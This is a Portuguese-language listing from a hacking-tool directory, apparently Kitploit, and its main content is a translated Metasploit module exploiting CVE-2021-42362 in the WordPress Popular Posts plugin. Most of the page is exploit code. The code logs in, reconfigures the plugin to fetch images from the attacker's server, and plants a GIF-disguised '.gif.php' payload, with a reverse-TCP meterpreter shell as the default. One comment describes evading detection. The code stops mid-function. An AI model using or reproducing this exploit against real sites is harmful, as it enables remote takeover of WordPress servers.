Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
nate158g-m-w-n-l-p-d-a-o-e — ### Este módulo requer Metasploit: https://metasploit.com/download# Fonte atual: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requer que o Metasploit tenha um FQDN e a capacidade de executar um servidor web de payload nas portas 80, 443 ou 8080. O FQDN também não deve resolver para um endereço reservado (192/172/127/10). O servidor também deve responder a uma solicitação HEAD para o payload, antes de receber uma solicitação GET. Este exploit aproveita uma validação de entrada imprópria autenticada no plugin Wordpress Popular Posts <= 5.3.2. A cadeia de exploit é bastante complicada. A autenticação é necessária e 'gd' para PHP é necessário no servidor. Em seguida, o plugin Popular Post é reconfigurado para permitir uma URL arbitrária para a imagem do post no widget. Um post é feito, então solicitações são enviadas ao post para torná-lo mais popular do que o anterior #1 por 5. Uma vez que o post atinge o top 5, e após uma atualização de cache do servidor de 60 segundos (esperamos 90), o widget da página inicial é carregado o que aciona o plugin para baixar o payload do nosso servidor. Nosso payload tem um cabeçalho 'GIF' e uma extensão dupla ('.gif.php') permitindo que código PHP arbitrário seja executado. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análise original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo | Kitploit
Ferramentas/GitHubGitHub/nate0634034090/nate158g-m-w-n-l-p-d-a-o-e
Frameworks de Testes de PenetraçãoFrameworks de ExploraçãoGeração de PayloadsAnálise de VulnerabilidadesExploração de Aplicações WebRed Teaming
GitHubnate0634034090/nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e

Ver Repositório
12440há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

### Este módulo requer Metasploit: https://metasploit.com/download# Fonte atual: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requer que o Metasploit tenha um FQDN e a capacidade de executar um servidor web de payload nas portas 80, 443 ou 8080. O FQDN também não deve resolver para um endereço reservado (192/172/127/10). O servidor também deve responder a uma solicitação HEAD para o payload, antes de receber uma solicitação GET. Este exploit aproveita uma validação de entrada imprópria autenticada no plugin Wordpress Popular Posts <= 5.3.2. A cadeia de exploit é bastante complicada. A autenticação é necessária e 'gd' para PHP é necessário no servidor. Em seguida, o plugin Popular Post é reconfigurado para permitir uma URL arbitrária para a imagem do post no widget. Um post é feito, então solicitações são enviadas ao post para torná-lo mais popular do que o anterior #1 por 5. Uma vez que o post atinge o top 5, e após uma atualização de cache do servidor de 60 segundos (esperamos 90), o widget da página inicial é carregado o que aciona o plugin para baixar o payload do nosso servidor. Nosso payload tem um cabeçalho 'GIF' e uma extensão dupla ('.gif.php') permitindo que código PHP arbitrário seja executado. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análise original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo

Compartilhar

nate158g-m-w-n-l-p-d-a-o-e### Este módulo requer Metasploit: https://metasploit.com/download

Fonte atual: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts RCE Autenticado', 'Description' => %q{ Este exploit requer que o Metasploit tenha um FQDN e a capacidade de executar um servidor web de payload nas portas 80, 443 ou 8080. O FQDN também não deve resolver para um endereço reservado (192/172/127/10). O servidor também deve responder a uma requisição HEAD para o payload, antes de receber uma requisição GET. Este exploit aproveita uma validação de entrada imprópria autenticada no plugin Wordpress Popular Posts <= 5.3.2. A cadeia de exploração é bastante complicada. A autenticação é necessária e o 'gd' para PHP é necessário no servidor. Em seguida, o plugin Popular Post é reconfigurado para permitir uma URL arbitrária para a imagem do post no widget. Um post é feito, então requisições são enviadas para o post para torná-lo mais popular do que o anterior #1 em 5. Uma vez que o post atinge o top 5, e após 60 segundos (esperamos 90) de atualização do cache do servidor, o widget da página inicial é carregado o que aciona o download do payload do nosso servidor pelo plugin. Nosso payload tem um cabeçalho 'GIF' e uma extensão dupla ('.gif.php') permitindo que código PHP arbitrário seja executado. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análise original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Alvo Automático', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutos, outros visitantes do site podem acionar }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Nome de usuário da conta', 'admin']), OptString.new('PASSWORD', [true, 'Senha da conta', 'admin']), OptString.new('TARGETURI', [true, 'O caminho base do servidor Wordpress', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN do servidor metasploit. Não deve resolver para um endereço reservado (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'A porta local para escutar.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress não detectado.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts não é uma versão vulnerável') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop isso 5 vezes apenas se houver um atraso de tempo na escrita do arquivo pelo servidor (1..5).each do |i| print_status("Acionando shell em: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} em 10 segundos. Tentativa #{i} de 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Falha ao encontrar payload, pode não ter sido enviado corretamente.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Respondendo à requisição HEAD inicial (passou na verificação 1)') # de acordo com https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests devemos ter um Content-Length válido # no entanto, parece que é calculado dinamicamente, pois é sobrescrito para 0 nesta resposta. deixando aqui como notas. # também não quis enviar o payload verdadeiro no corpo para acertar o tamanho, pois isso dá maior chance de sermos pegos return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Respondendo à requisição GET (passou na verificação 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # por algum motivo estranho, precisamos fechar a conexão manualmente para o PHP/WP finalizar suas funções Rex.sleep(2) # esperar o WP terminar todas as verificações necessárias trigger_payload(on_disk_payload_name) end print_status("Recebida requisição #{request.method} inesperada") end def check_gd_installed(cookie) vprint_status('Verificando se gd está instalado') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Recuperando token wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Atualizando configurações do popular posts para imagens') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy

Baixar ferramenta